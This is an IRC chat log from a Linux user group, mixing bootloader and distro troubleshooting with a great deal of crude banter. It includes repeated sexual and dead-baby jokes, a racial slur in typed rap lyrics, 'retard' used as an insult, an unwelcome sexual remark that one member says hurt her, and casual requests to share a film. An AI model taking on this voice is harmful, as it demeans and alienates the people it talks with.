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00:05 <@Catonic> hi rattle
00:08 <@rattle> Oi
00:15 <@Catonic> dem joisey boys is always like "oi!"
00:24  * Catonic goes crosseyed
00:46 <@Catonic> I always knew that buying a 1000 ft roll of #16 THHN would come in handy
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01:03 <@Catonic> ow.
01:03 <@Catonic> wow
01:03 <@Catonic> I looked in the mirror.
01:04 <@scort> "im looking at the man in the mirror"
01:05 <@Catonic> I was like "Damn. I actually look good."
01:24 <@Catonic> 50 jitterbillion tie-wraps...
01:24 <@Catonic> and they are all at work, no doubt.
01:34 <@dasunt> I bought long underwear today.
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01:35 <@dasunt> Looked at padded bicycle underwear, didn't buy it.
01:35 <@dasunt> http://www.rei.com/product/732754 <- Very glad after reading the first review.
01:37 <@Catonic> dasunt: talk to dc0de about bicycle shorts
01:39 <@dasunt> Oh?
01:40 <@dasunt> The weird thing is, I don't need the padding for comfort -- Even on my 100+ mile trips, it wasn't a problem.
01:40 <@dasunt> But my bike seat is cold.  :(
01:41 <@scort> put a warmer in it
01:41 <@Catonic> dasunt: you're a lucky bastard.
01:41 <@dasunt> Why's that?
01:41 <@Catonic> I had to lose 40 lbs to find out that I have a prominent bone in my ass
01:41 <@dasunt> You get fat on your ass?
01:41 <@scort> hot
01:41 <@dasunt> Fucking lucky.
01:42 <@Catonic> apparently I did
01:42 <@dasunt> All my weight goes around my waist.
01:42 <@Catonic> discovered the other day that I managed to completely tighten up my entire buttocks region by accident
01:42 <@Catonic> "hrm... there's no fat there... HEY! THERE'S NO FAT THERE! aweslam!"
01:43 <@scort> pics
01:43 <@scort> Catonic, i haven't seen a recent pic of you
01:45 <@Catonic> scort: facebook, jackass
01:45 <@scort> oh
01:45 <@scort> shit man i've never used that shit
01:45 <@Catonic> do your parents know you take it in the ass?
01:46 <@scort> refusing to answer
01:46 <@scort> because of the way you phrased that
01:46 <@scort> because i haven't been taking it in the ass
01:46 <@scort> i've been doing nonsexual things with my life
01:47 <@Catonic> holy shit, I think scort just drew a line out in the sand.
01:47 <@scort> what the fuck you mean by that
01:51 <@dasunt> Wait, what's yoru facebook page again?
01:51  * dasunt should facebook more.
01:51 <@Corydon76-dig> scort: what about the dildo?
01:52 <@scort> i dont have one
01:52 <@Corydon76-dig> candlestick?
01:52 <@scort> no
01:52 <@Corydon76-dig> cucumber?
01:53 <@scort> ...
01:53 <@Corydon76-dig> Ah-HAH
01:53 <@scort> no
01:53 <@scort> last thing i stuck up there was a liquor bottle
01:53 <@scort> and that didn't end well
01:53 <@Corydon76-dig> ouch
01:53 <@Corydon76-dig> Talk about suction
01:57 <@dasunt> I never really got using body cavities as a place to store things.
02:01 <@maco> dasunt: i dont think Corydon76-dig's really "storing" things up there
02:03 <@dasunt> I was talking about scort.
02:03 <@scort> dasunt, i wasn't storing the bottle up there
02:03 <@scort> i was just giving my ass a drink, it seemed thirsty at the time
02:05 <@Corydon76-dig> It's more likely hungry than thirsty
02:08 <@scort> no i just ate
02:08  * dasunt thinks of a certain South Park episode...
02:08 <@scort> dasunt, did it have cartman in it?
02:08 <@dasunt> scort: It was the anal-food-intake episode.
02:09 <@scort> ohhh
02:09 <@scort> then they craped out their mouths, rofl
02:09 <@scort> ahh yeah it's all coming back to me
02:16 <@Catonic> seriously, wtf...
02:16 <@Catonic> I must have a severe case of the stupid or something, becuase I just recieved ticket #4 of the year.
02:17 <@scort> speeding ticket?
02:17 <@Catonic> I do'nt know what all he put on it..
02:17 <@Catonic> there was a comment about "resonable and prudent"
02:17 <@Catonic> I think "35 in a 35"
02:20 <@Catonic> I am just flabbergasted
02:20 <@scort> what the fuck are you saying
02:20 <@Catonic> I don't really see where my driving is that different than anyone elses around here
02:21 <@scort> you just get caught
02:21 <@scort> do you have a radar detector?
02:22 <@Catonic> yes, I do.
02:22 <@Catonic> this was a non-radar ticket.
02:22 <@scort> what ticket was it then
02:22 <@Catonic> I don;t know, I;'ll look at it tomorrow
02:22 <@scort> is someoen drun'k
02:22 <@Catonic> I don't think the cops have a boner for me, but there's something I'm doing that's out of the norm.
02:23 <@scort> yeah
02:23 <@Catonic> because cops don't ticket the norms
02:23 <@scort> let me drive with you sometime
02:23 <@scort> what car do you usually drive
02:23 <@Catonic> my accord
02:23 <@scort> still have caprices?
02:23 <@Catonic> one of them, it's for sale
02:23 <@Catonic> got a ticket in it on thanksgiving
02:23 <@scort> woo
02:24 <@scort> why
02:24 <@scort> for what
02:24 <@Catonic> 70 in a 40
02:24 <@scort> lol
02:24 <@scort> where was this
02:24 <@Catonic> south parkway at weatherly is 40 mph zone
02:24 <@scort> in town?
02:24 <@scort> ohhh
02:24 <@scort> okay now i see
02:24 <@scort> that's a bullshit ticket
02:24 <@scort> yeah yeah i know
02:24 <@Catonic> at that point, I got a light, and it was clear for a mile, so I just kept on cruising, and there he was
02:24 <@Catonic> pulling up behind me
02:24 <@scort> oops
02:25 <@Catonic> so I've got an open action to take class for that one...
02:25 <@scort> no radar detector in that car
02:25 <@Catonic> and now I've got another open case
02:25 <@scort> you should stop driving
02:25 <@Catonic> that wasn't a radar ticket either
02:25 <@Catonic> probably so
02:25 <@scort> before you go kabooom
02:25 <@scort> how much for the caprice
02:25 <@Catonic> $2K
02:25 <@scort> how many miles
02:26 <@Catonic> 271,000
02:26 <@scort> runs good still?
02:26 <@Catonic> second engine, second trans, second rear-end...
02:26 <@scort> :D
02:26 <@scort> anything wrong with it
02:26 <@Catonic> I hear something metal every now and again under the hood.
02:26 <@scort> lol
02:26 <@Catonic> leaking power steering fluid from somewhere
02:26 <@scort> use more lube
02:27 <@Catonic> comes with $500+ in parts and the manuals
02:27 <@scort> wheres the fluid dripping
02:27 <@scort> like by the pump or steering colum
02:27 <@Catonic> pump
02:28 <@scort> okay if someone wrecks my mailibu i'll buy that
02:28 <@scort> i'd hope i'd get at least 2k for my malibu if someone wrecked it
02:28 <@scort> from the insurance company
02:28 <@scort> how do they price that shit
02:29 <@Catonic> bend over
02:29 <@Catonic> pull a number out of your ass
02:29 <@scort> ?
02:30 <@scort> 69
02:30 <@scort> i'd say tghat's a good number to come out my ass
02:30 <@scort> after a shower of course
02:35 <@Corydon76-dig> scort: http://kbb.com
02:36 <@scort> oh they go by the kbb value?
02:36 <@Corydon76-dig> Correct
02:37 <@scort> my car's been burning something
02:37 <@scort> lil by lil
02:50 <@Catonic> i just fucking give
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03:14 <@Catonic> I'm going to go back to biking
03:15 <@scort> TO GET IN MORE TROUBLE
03:15 <@dasunt> Biking is fun.
03:15 <@dasunt> Catonic: www.ursine.ca/~dasunt/camelback.jpg
03:18 <@scort> dubstep: it's the new thing
03:18 <@scort> how much volume does that hold
03:18 <@scort> dasunt, a dead baby amount?
03:22 <@dasunt> Only 1.5L.
03:22 <@dasunt> Not enough for a dead baby.
03:23 <@scort> maybe a preemie
03:32 <@Catonic> after you've put a dead baby in a blender, you'd be suprised where a dead baby will fity
03:33 <@dasunt> LOL.
03:34 <@dasunt> I got the Camelback for winter biking though.
03:34 <@dasunt> My water bottle froze last trip.
03:34 <@dasunt> Fucker.
03:34 <@dasunt> Five miles in, I'm like "I could really use a sip".  Got slush.
03:34 <@dasunt> It did not improve after that.
03:51 <@Catonic> wow
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03:58 <@dasunt> Yep.
03:58 <@dasunt> So I'm trying the camelback under my jacket.
04:07 <@Catonic> hasta leugo
04:07 <@dasunt> Drunk again.
04:11 <@scort> figures
04:12 <@dasunt> This is my normal state.
04:17 <@juice> this sucks I can't sleep
04:17 <@juice> I have to work 7am-7pm
04:19 <@dasunt> Life sucks.
04:19 <@dasunt> Then you die.
05:05 <@dasunt> Drunk as usual.
05:05 <@dasunt> Meh.
05:44 <@scort> figures
05:44 <@scort> go figure
05:44 <@scort> who knew it
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08:20 < Mercster> ohh
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09:09 <+SmthingPrductive> Brian Nichols, just sentenced to 495 years and 11 consecutive life sentences, is expected to just do it again when he gets out...
09:16 <@brimstone> After dropping out of school, Nichols moved to Georgia in 1995. He worked for Hewlett-Packard for eight years, as a UNIX systems engineer.
09:16 <@brimstone> that doesn't hit home with a lot of us...
09:17 < Mercster> how about hans reiser
09:17 <@brimstone> who wrote a filesystem in here? srsly?
09:18 < Mercster> ive written a filesystem to disk
09:18 < Mercster> does that count
09:19 <@brimstone> was it MercsterFS?
09:19 < Mercster> what the hell is that
09:19 <@brimstone> then no, doesn't count
09:20 < Mercster> DAMMIT
09:24 <@sdodson> i wrote one in school
09:24 <@sdodson> what did brian nichols do in the first place?
09:25 < Mercster> when i first read the name i was thinking terry nichols
09:25 < Mercster> the oklahoma city asshole
09:25 <@sdodson> he's the dude that shot up atlanta courts
09:25 < Mercster> ahh
09:30 < Mercster> gimme back my gimme back my gimme back my aaaaaaaaah
09:30 <@sdodson> no
09:31 <@sdodson> whoops they pushed a dbus fix to a security problem only to find out that package effectively disabled the notification of updates. So users who do not run yum manually would not know of updates from there on out.
09:31 < Mercster> hah
09:32 < Mercster> sdodson: fc10 fucked me up the ass after i thought i had tamed it...installed ubuntu
09:32 < Mercster> ubuntu has been decent so far
09:32 <@sdodson> Wait, you were pissed about something fucking you in the ass, so the solution is to install ubuntu?
09:32 < Mercster> i dont know the package management nearly as well as i do rpm/yum
09:33 < Mercster> but at least it isnt failing at every turn
09:33 <+SmthingPrductive> takes some getting used to
09:33 <@sdodson> Have you ever heard "just another drinking song" by mighty mighty bosstones? This reminds me of that. "What you're calling the cause I call the cure"
09:33 < Mercster> SmthingPrductive: id like to find a little fedora -> ubuntu cheatsheet
09:34 < Mercster> so far ive mastered "apt-get install" and "apt-cache search"
09:34 <@sdodson> just use synaptics
09:34 < Mercster> im not opposed to guis, but as far as searching for/querying/installing software im more comfortable in a shell
09:35 <@sdodson> jb7od will make fun of you if you admit to not wanting to kill off all guis
09:35 < Mercster> i dunno if synaptics is what comes up for the ubuntu "add/remove software" thing in the menu, but one thing i noticed is that it didnt show a lot of stuff...i was trying to find irssi in the gui, no go, but apt-cache search found it fine
09:35 < Mercster> sdodson: i laugh at kids who scorn guis
09:36 < Mercster> i left that phase sometime in 1997
09:36 <@sdodson> but zoumng! guis r newbletcakes stuff
09:36 < Mercster> yea
09:37 <@sdodson> I AM HARDCORE MOTHERFUCKER! I KNOW COMMAND LINE SWITCHES!
09:37 < Mercster> hehe
09:37 <@sdodson> alright, i'm out, my goal is to not touch irc until the weekend is over
09:37 < Mercster> byyyeeeee
09:39 < Mercster> i said momma
09:39 < Mercster> i anit crazy
09:39 < Mercster> im alright..
09:39  * brimstone gives sdodson 2 hours
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09:53 <@ReWT_AxS> Morning.
09:54 <@ReWT_AxS> Hey NotLarry. Long time since I've been around these parts. How have you been?
09:58 < Mercster> itz just anotha day, still gotta git paid...
09:58 < Mercster> who got...tha biggest bouldaz
09:58 <@ReWT_AxS> I've got 2 more days til I see a pay check. -.-
09:58 < Mercster> who...servin da fieeeeendZ
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10:21 < Mercster> nice, cups can finally drive my printer with free drivers
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10:22 <@jb7od> sdodson: I'm not anti-gui, i'm just anti-not-knowing-how-to-use-terminals.
10:23 < Mercster> im sure you mean POSIX shells
10:23 < Mercster> Xterms are terminals
10:23 <@jb7od> the argumnent with that guy goes way back.
10:24 < Mercster> hehe
10:27 < Mercster> well, i first installed linux in 1994...in those days you wrote your Xconfig by hand, your window manager config (usually .fvwmrc) by hand... i appreciate the sentiment for learning command line, but when someone calls me a pussy for running a distro with nice GUI tools or similar, i can only chuckle ;-)
10:27 < Mercster> damn good GUIs are available for many things, and no sin using them
10:28 < Mercster> the argument that certain distros are more "hardcore" is especially lame, since any linux distro is a kernel + GNU tools anyway...just because a distro includes GUI tools doesnt mean it's any less able to be configured via GUIs
10:29 < Mercster> frankly i have better use for my time than doing everything in vi
10:29 <@ReWT_AxS> My c++ professor thought otherwise Mercster. His life revolved around VI. I hated him forthis.
10:29 < Mercster> and if linux wants to be a viable desktop system for non-geeks, guis are going to have to exist
10:30 < Mercster> it's just reality
10:30 <@jb7od> it's just an interface to a system. if you can't get by on a shell, you can't operate some systems. I'm just pro-knowing-about-systems. I don't dislike gui's until they birth know-it-all-users who can't get by on a second generation interface.
10:30 < Mercster> people dont always wanna "know about systems"
10:30 < Mercster> computers are for work
10:30 < Mercster> computers are for making work easier
10:30 < Mercster> i appreciate that you're a whiz, but not everyone is
10:31 <@jb7od> i'm not though, lol
10:31 < Mercster> and not every person should need to be one, to be helped by computers
10:31 < Mercster> and i dont know why you'd be angry at a "know-it-all-user" using GUIs, if those GUIs do everything that he/she needs :)
10:32 <@jb7od> see why do i have to be angry? lol
10:32 < Mercster> your insulting language
10:33 < Mercster> not that i give two fucks
10:33 < Mercster> just sayin'
10:34 <@jb7od> there's only sides if you pick one. i'm not going to defend not knowing how to do something. you're not saying that shells are "useless today"
10:34 <@jb7od> that was the original argument
10:34 < Mercster> nah, surely not
10:34 <@jb7od> that there's no point in knowing them
10:35 < Mercster> nah
10:35 <@jb7od> or knowing about them
10:35 < Mercster> he was probably talking about the adoption of linux by novices/normal people
10:35 < Mercster> in which case, ya know, grandma really shouldnt need to know how to use a shell to do things grandmas do
10:36 <@jb7od> i use gui's, i know m$ hopes everybody forgets what a shell even is, and a kernel and the rest of it. i think it's an agenda to de-educate people.
10:36 < Mercster> like looking at pics of grandkids, printing them out, browsing the web, sending email, etc
10:36 < Mercster> ...
10:36 < Mercster> i dont think it's about de-education, or any insidious conspiracy
10:36 < Mercster> i think they just want to make computers easier for everyone to use
10:36 < Mercster> and that is a worthy goal
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10:37 < Mercster> grandma deserves the benefits of linux like anyone else
10:37 < Mercster> and grandma shouldnt need to know shell commands to reap those benefits
10:39 <@jb7od> right, many grandmas could hang on ubuntu- me, i run slackware (mostly) for my linuxes, but i think it deserves to exist even though some people have a hard time with it
10:39  * Mercster shrugs
10:39 < Mercster> slackware is antiquated anyway, but you are free to use whatever distro you feel like :)
10:40 < Mercster> most people who run slackware are doing so because they believe it imparts some "eliteness" to them
10:40 <@jb7od> i like it because it imparts /etc/rc.d
10:41 <@jb7od> i gotta brb lol. this one goes on forever tho. :)
10:43 < Mercster> i ran slackware 1.0 -> 3.0 or so...back then, believe me, you could find old hands calling slackware users "pussies" because slackware made it easy to get a full GNU environment up without having to build a bunch of stuff by hand and manually place it within the filesystem by yourself ;-)
10:43 < Mercster> so really, the whole "hardcore distro" argument doesnt mean anything
10:44 < Mercster> as in life in general, there will always be people more and less hardcore than you...people should use distros that are easy to install/administer and that provide powerful tools
10:45 < Mercster> not out of some misguided attempt to be hardcore
10:46 < Mercster> but hey, if slackware makes you happy, that's cool. it certainly will force you to shell more often than some others, so it's a good learning tool in that sense
10:46 < Mercster> if i were forced to use slackware, the first thing i'd do is probably graft in sysV init ;-)
10:46 < Mercster> which is entirely possible
10:47 < Mercster> it'd also be possible to take the most modern distro and graft in a BSD-style init process, but why you'd do so is beyond me
10:54 <@jb7od> it does support it now.
11:02 < Mercster> yaaaay grocery shopping
11:02  * Mercster throws on clothes
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13:39 < Synx_hm> it appears that lilo may be working (grub was not)
13:39 < Synx_hm> yay
13:39 < Synx_hm> oh and my dsl is fixed
13:39 < Synx_hm> modem was going bad
13:42 <@Drag0n> modems without a cause, when modems go baud
13:43 < Mercster> i give my modem a stern talking to
13:43 < Synx_hm> haha
13:43 < Mercster> just to show it who's boss
13:43 < Synx_hm> god i want FiOS so bad
13:43 <@Drag0n> baud boys, baud boys, what ya gonna do when they call for you!!!
13:43 < Synx_hm> i cannot believe i find that so funny
13:43 < Synx_hm> this is a sad moment in my life
13:43  * rhia headdesks
13:43 <@rhia> Synx_hm: try living with him
13:43 <@Dagmar> You're not allowed to have FiOS until the gov't gives AT&T a few billion more in free money
13:44 < Synx_hm> ya
13:44 < Synx_hm> they have fiber all around here just copper run the curb :(
13:44 < Synx_hm> i had a rather lenghty discussion with the att guys that showed up today about it
13:44 < Synx_hm> 6mbit down and 312kbit up is not enough
13:44 < Synx_hm> :(
13:44 < Synx_hm> i must have 50Mb
13:45 <@Drag0n> ta hell with that, i want euopean standards, gig fiber to the home, both ways
13:45 <@Dagmar> AT&T doesn't upgrade anything without getting a handout for it first.
13:45 < Synx_hm> but dont they get charged on BW usage?
13:45 <@Drag0n> they didnt in sweden
13:46 <@Drag0n> but sweden is a country that feels software piracy is a right <g>
13:50 < Synx_hm> hey quick whats the screen detach hotkey?
13:50 <@Dagmar> ^A, d
13:51 < Synx_hm> ohh ctrl alt d is desktop
13:51 < Synx_hm> neat
13:51 < Synx_hm> alt d?
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13:53 < Synx_hm> ahh
13:53 < Synx_hm> ctrl a then d
13:53 < Synx_hm> got ya
13:54  * Mercster tries to figure out why ubuntu's firefox is so shitty at rendering stuff
13:55 < Synx_hm> firefox is slow :(
13:55 < Synx_hm> ive got it caching in tmpfs now though
13:55 < Mercster> yeah, it is, but that's not even the worst problem
13:55 < Mercster> i go to google, the google logo is all jaggy
13:55 < Mercster> like it's a 4bit gif or something
13:55 < Mercster> i dunno wtf is going on
13:58 < Synx_hm> anyone of you using some sort of auto identify in irssi?
13:59 < Mercster> ah, i think it's zoom level
14:00 < Mercster> ye
14:00 < Mercster> p
14:01 <@Dagmar> I am for BitchX.
14:02 < Synx_hm> does lilo put the initrfs img right after the MBR?
14:03 <@Dagmar> Uh no
14:04 < Synx_hm> wiki here i come ;)
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14:15 < Synx_hm> hey when you use chain loader in grub will that load up lilo off another partition?
14:17 <@Dagmar> If you are using lilo to load grub, please kill yourself now.
14:18 <@Dagmar> ...or vice-versa.
14:18 <@Dagmar> Dude, you're asking "clever" questions.
14:18 <@Dagmar> How about you tell us what it is you're actually trying to do
14:18 < Mercster> ...
14:18 < Synx_hm> naw i am just trying to understand what is happening
14:18 < Synx_hm> grub will not load correctly on my aspire one
14:19 <@Dagmar> Okay no big deal, you probably need to reconfigure it
14:19 < Synx_hm> sometimes it cant find stage1.5 which i though was just after the MBR
14:19 < Synx_hm> sometimes it loads fine
14:19 < Synx_hm> however lilo seems to be working fine now
14:19 <@Dagmar> Whatever the hell grub does I don't know
14:19 <@Dagmar> Why do you keep mentioning them both?
14:19 < Synx_hm> i think its more to do with the fact that i am booting off a compactflash card
14:20 <@Dagmar> Okay fuck you.
14:20 <@Dagmar> Seriously, man.
14:20 < Synx_hm> haha
14:20 <@Dagmar> take the CF card... Zero it.  Reinstall and install only ONE boot loader.
14:20 < Mercster> lol
14:20 < Synx_hm> really :(
14:20 < Synx_hm> thats how i started out
14:20 < Synx_hm> did not work
14:20 < Mercster> dagmar's an asshole
14:21 <@Dagmar> Look, bootloaders can be put in the MBR or the start of the partition to be booted
14:21 < Mercster> and not even an entertaining one
14:21 <@Dagmar> Both is dumb.
14:21 <@Dagmar> Now, if the CF card is in one of those little things that makes it look like a normal IDE disk, then treat it like a normal IDE disk
14:22 < Synx_hm> i dont think its that simple
14:22 < Synx_hm> http://www.mail-archive.com/bug-grub@gnu.org/msg05815.html
14:22 < Synx_hm> i did the normal grub deal just like i always do it
14:23 < Synx_hm> and its not a constant problem like i said sometimes it works sometimes it does not
14:23 <@Dagmar> "i dont think its"... this says you haven't done enough research
14:24 < Synx_hm> ive been doing a ton of research and i cannot find but one other person with the same issue
14:24 <@Dagmar> ...although that email would indicate that grub is buggy and you should use LILO
14:24 < Synx_hm> but the nonstandard'ness of this install makes it rather dificult to diagnose
14:24 <@Dagmar> ...at least until they find (and admit to, although not necessarily in that order) the bug in greb and fix it
14:25 <@Dagmar> Here's another warning sign about that email by the way
14:25 <@Dagmar> Oh fuck it, I'll say it outrighr
14:25 <@Dagmar> The person who wrote that doesn't know what the hell they're doing.
14:25 < Synx_hm> take the gloves off
14:25 <@Dagmar> "The BIOS is known to disable LBA
14:25 <@Dagmar> when the CF drive is below 1024 cyls (which is the case).
14:25 <@Dagmar> No shit... Ya think?
14:26 <@Dagmar> They think LBA is some "magic sauce" that makes the PC boot "betterer"
14:26 < Synx_hm> hehe
14:26 < Synx_hm> its like steak sauce
14:26 <@Dagmar> I'll hazard a guess that this person has created their own problem
14:26 < Synx_hm> hehe
14:27 <@Dagmar> You might have as well.
14:27 < Synx_hm> :(
14:27 < Synx_hm> why do you hate me
14:27 <@Dagmar> Zero that fucker, and use just one bootloader
14:27 < Synx_hm> i am right now, just using lilo :)
14:27 < Synx_hm> however last night i fucked up and had lilo bootstraping for grub
14:27 <@Dagmar> ...and if grub isn't working right, or doesn't appear to be working right, and you can use lilo then use lilo already.  File a bug report on grub or not, but it's just a bootloader
14:27 < Mercster> zero that muthafucka
14:28 <@Dagmar> It doesn't need to be perfect and the odds are you won't be using it much anyway
14:28 < Synx_hm> i dont wana do this f'ing install again
14:28 < Synx_hm> ive been many hours fucking with shit to get it where it is now
14:28 <@Dagmar> Then why aren't you making image backups
14:28 < Mercster> yea be like dagmar
14:28 < Mercster> DO THINGS RIGHT
14:28 <@Dagmar> If's a CF disk.  It's not like it can possibly be so super-massive you can't back it up
14:28 < Synx_hm> true dat
14:28 < Synx_hm> ill back this up soon enough
14:28 < Synx_hm> still not sure how happy i am with the setup
14:29 < Synx_hm> might try a kernel specifically compiled for the atom next
14:29 <@Dagmar> Once you've got an image of the filesystem, diddling the bootloader should go ao lot quicker
14:29 < Synx_hm> this thing is just so damn slow
14:29 < Synx_hm> Dagmar: you just dd img copy to a cfs mount?
14:30 <@Dagmar> No, generally I just image partitions with dd or filesystems using tar
14:35 < Synx_hm> now to get this fucking twofinger scroll working
14:35 < Mercster> start with one finger, then work up to two
14:35 < Mercster> you dont wanna rush things
14:37 < Synx_hm> good point baby steps
14:38 < Synx_hm> baby steps to the fridge
14:38 < Synx_hm> baby steps drinking away the pain from feeling inadequate in se2600
14:39 < Mercster> Synx_hm: Dagmar's obviously way too elite, i dunno if i'd worry about getting advice from him
14:40 < Mercster> Synx_hm: he cant comprehend your mortal difficulties
14:42 <@Dagmar> pfft.
14:42 <@Dagmar> You and about 50 other people
14:42 <@Dagmar> No need to even worry about standing out
14:42 <@Dagmar> That you have enough sense to even be able to half-work two bootloaders puts you head and shoulders over most of this lot
14:43 < Synx_hm> thanks, you had me at hello
14:44 < Mercster> hot
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14:51 <@Dagmar> http://nashville.craigslist.org/sys/956078583.html <-- cff dell, $100
14:52 < eryc> http://www.youtube.com/watch?v=v4ijDlbvAxw
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15:00 < Mercster> nigga fuckin wit me while im weeded
15:00 < Mercster> comin' wit a beef
15:00 < Mercster> an nigga you eat it
15:03 < Synx_hm> my cat has to sit right infront of my LCD all times i am at the computer :(
15:04 < Mercster> Synx_hm: beatings will continue until cat morale improves
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15:08 < Synx_hm> man the hak5 crew are goobers
15:08 < Synx_hm> serious goobers
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15:10 <@Dagmar> What'd they do this time?
15:27 < Synx_hm> man the www alias makes me sad
15:43 < Synx_hm> anyone seen hackers are people too?
15:43 < Synx_hm> or better yet have a copy?
15:46 < eryc> i have a copy
15:47 <@scort> pics
15:47 < eryc> shens!
15:47 <@scort> can you email me it?
15:47 < Synx_hm> me too please
15:47 < Synx_hm> ;)
15:47 <@scort> or scp it to my vps and it will be super fast
15:48 < Synx_hm> w3rd
15:48 < Mercster> hackers are less than human
15:49 < Synx_hm> eryc: seriously though do you have it ripped?
15:51 < eryc> no
15:52 < Synx_hm> :(
15:52 < Synx_hm> how was it btw, from what i hear lots of people like how it turned out
15:52 < Synx_hm> i should get my copy when i get back from xmas trip
15:52 < Synx_hm> w00t
15:55 <@scort> hi how do i root this box
15:56 <@scort> so i can give myself sudo XD
15:56 <@scort> (and install sudo)
15:58 <@Catonic> jesus
15:58 <@Catonic> i want to sleep.
15:59 < Mercster> it's nap time
15:59 < Mercster> hugh laurie on SNL tonight
15:59  * Catonic beats eryc and fucks him with the dildo of DRM.
16:00 <@scort> ouch
16:00 <@scort> that's gonna leave a mark
16:01 < Mercster> not if he dilated properly first
16:01 <@Catonic> the drm dildo is anti-dilating
16:01 <@Catonic> it's coated with alum
16:02 < Mercster> :-/
16:03 < Mercster> and i know because of krs-1
16:05 <@Catonic> I'm really hoping I'll finally get past the perverted dick, fart, and poop jokes stage of comedy and into the good stuff.
16:05 < Mercster> dookie lol
16:08 <@Catonic> bonus
16:08 <@Catonic> I'm having a shirt made
16:08 <@Catonic> NC-17
16:08 <@scort> from what
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16:14 < eryc> http://www.youtube.com/watch?v=9f8sS0YIT-g
16:14 < eryc> Catonic: did u watch star wars vs star trek?
16:14 < eryc> -> http://www.youtube.com/watch?v=v4ijDlbvAxw
16:20 < eryc> http://adage.com/brightcove/single.php?bcpid=1370868150&bctid=3130509001
16:21 < Mercster> fish on
16:21 < eryc> GAME OVER MAAAN
16:36 < Mercster> dont surround yourself with yourself
16:36 < Mercster> move on back to squares
16:36 < Mercster> send an instant karma to me...
16:36 < Mercster> initial it..
16:37 < Mercster> with loving CAAAAAAAARE
16:37 < Mercster> YOURSEEEEEEELF
16:40 < eryc> do u have a vagina
16:41 < Mercster> lemme check
16:42 < Mercster> ok i found a hole
16:42 < eryc> just 1?
16:43 < Mercster> one big one, one little one
16:46 < Mercster> both make me feel bad
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17:12 < Mercster> coming quickly to terms with all expression laid
17:12 < Mercster> emotion revealed is the oceans made
17:20 <@scort> mershiter
17:21 < Mercster> shitcoil
17:21 < Mercster> sup mabn
17:21 < Mercster> man
17:21 < Mercster> MAN
17:23 < Mercster> if my words did glow
17:23 < Mercster> with the cold of sunshine
17:23 < Mercster> and my tunes, were played
17:23 < Mercster> on the harp
17:23 < Mercster> unstrung
17:24 < Mercster> would you hear my voice
17:24 < Mercster> come through the music...
17:24 < Mercster> would you hold it near
17:24 < Mercster> as it were your own
17:24 < CRasH180> no
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17:24 <@Corydon76-dig> Mercster: please refrain from listing music lyrics in the channel
17:24 < Mercster> IM NOT LISTING THEM IM TYPING THEM IN TIME
17:25 <@Corydon76-dig> Mercster: please refrain from typing more than 2 lines of lyrics
17:25 < Mercster> Corydon76-dig: ya sorry there's a whole lot going on, i wouldnt wanna get in the way of discussion
17:25 < Mercster> Corydon76-dig: go ahead man, we're listening
17:26 <@Corydon76-dig> Mercster: there's been a bit of discussion about you typing to hear yourself think.  I'm just asking you to hold back on the unnecessary talk.
17:26  * Mercster stares
17:28 < Mercster> unnecessary talk
17:28 < Mercster> that's a good one
17:28 < Mercster> until something necessary is said, ill sing
17:28 < Mercster> thanks
17:29 < Mercster> BODY LANGUAGE
17:29 < Mercster> o/~ give me...your body
17:29 < Peaches84> watches as Mercster knocks  over a lamp with his body
17:29 < Mercster> dammit!
17:33 <@Dagmar> See, you're just making me more glad I dumped him into the ignore list earlier this week for being a dumbass.
17:33  * Mercster wipes away Dagmar's tears
17:38 < Mercster> gir paid good, so we gon' BLAZE good
17:39 <@polerin> Dagmar: whats interesting is that you have even less patience with that kind of thing than I :P
17:40  * Mercster feels polerin 
17:40 <@Dagmar> There's plenty, nay, a downright surplus if ignorant jackasses on the internet.
17:40 <@Dagmar> s/if/of/;
17:40 <@Dagmar> I'm not missing anything by putting them into the ignore list, no matter what channel they're in
17:40 <@polerin> Dagmar: oh trust me, I'm well aware :P
17:40 <@polerin> I'm just ammused
17:41 < Mercster> polerin: maybe you have a smidgen of a sense of humor
17:41 <@Dagmar> I gave him plenty of opportunities to stop being a jackass.
17:41 <@Corydon76-dig> polerin: amused, because he claims not to be gay, yet is feeling you up?
17:41 <@polerin> ammused because excuse me what the hell corydon?
17:41 < Mercster> Corydon76-dig: yer just mad cuz i dont wanna suck your dick
17:41 <@polerin> ....
17:41 < Mercster> settle down, retard
17:41 <@polerin> Corydon76-dig: ... that was really rude and uncalled for, thanks.
17:42  * Mercster sits next to polerin and looks unamused
17:42 <@polerin> way to put me in my place though, thanks.
17:42 <@Corydon76-dig> polerin: wasn't meant that way, sorry
17:42 < Mercster> haha
17:43 < Mercster> attention sadsacks: /ignore me, like Dagmar
17:43 <@Corydon76-dig> polerin: you know I'd feel you up, if given the chance, anyway, at any time in the present or future.  :-P
17:45 <@Drag0n> i wouldnt, but that has nothing to do with what sex she is or how she looks, more of a self preservation thing and its rude
17:46 <@Corydon76-dig> Drag0n: when I say, "given the chance", I'm including her consent
17:46 < Mercster> welcome to irc, land of things that dont really happen
17:46 <@polerin> Drag0n: heh.
17:46 <@Drag0n> its not HER consent im worried about <g>
17:48 <@Corydon76-dig> Her wife wouldn't hurt me, intentionally.
17:49 <@Drag0n> its mine that would be the problem, but i prefer to feel rhia up anyway
17:49 <@rhia> Corydon76-dig: he also has a wife <g>
17:49 < Mercster> o/~ who wants...to live...forever
17:49 <@Corydon76-dig> Drag0n: Ah...
17:49 <@polerin> Corydon76-dig: you seem to totaly not even get why I was hurt.  The issue wasn't about my "attractiveness" or not.
17:50 <@polerin> so
17:50 <@rhia> but i'm not worried over polerin or Lissa - they be friends
17:50 <@polerin> no thanks. and no.  and no.
17:50 < Mercster> polerin: Corydon76-dig is just upset, i havent reciprocated his advances
17:50 < Mercster> polerin: dont take it personally
17:51 <@polerin> Mercster: HER advances, which I didn't make.
17:51 <@polerin> and you have no clue what your even stepping in, so don't tell me not to take things personally :P
17:51 < Mercster> IM JUST SAYIN'
17:51 <@polerin> heh
17:52 < Mercster> ;-)
17:52 <@polerin> jus sayan?
17:52 <@polerin> :P
17:52 <@rhia> Carl's brother?
17:52 <@rhia> just Sagan
17:52 < Mercster> carl's jr?
17:52 < Mercster> mmm
17:52 <@Drag0n> super sayan?
17:52 <@rhia> Drag0n: do NOT go there
17:53 <@polerin> Drag0n: better watch out, she's over 9,000
17:53 <@rhia> no flaming yellow majick jujuj hair
17:53  * polerin hides
17:53 < Mercster> my cat is so stupid, she still insists on trying to "bury" the food in her bowl
17:53 < Mercster> like she's hiding it
17:53 <@Drag0n> well, i do have dragon balls
17:53 < Mercster> but it's just linoleum
17:54 <@polerin> URK
17:54  * rhia headdesks
17:54 < Mercster> i like to give her the benefit of being reasonably intelligent for a small mammal
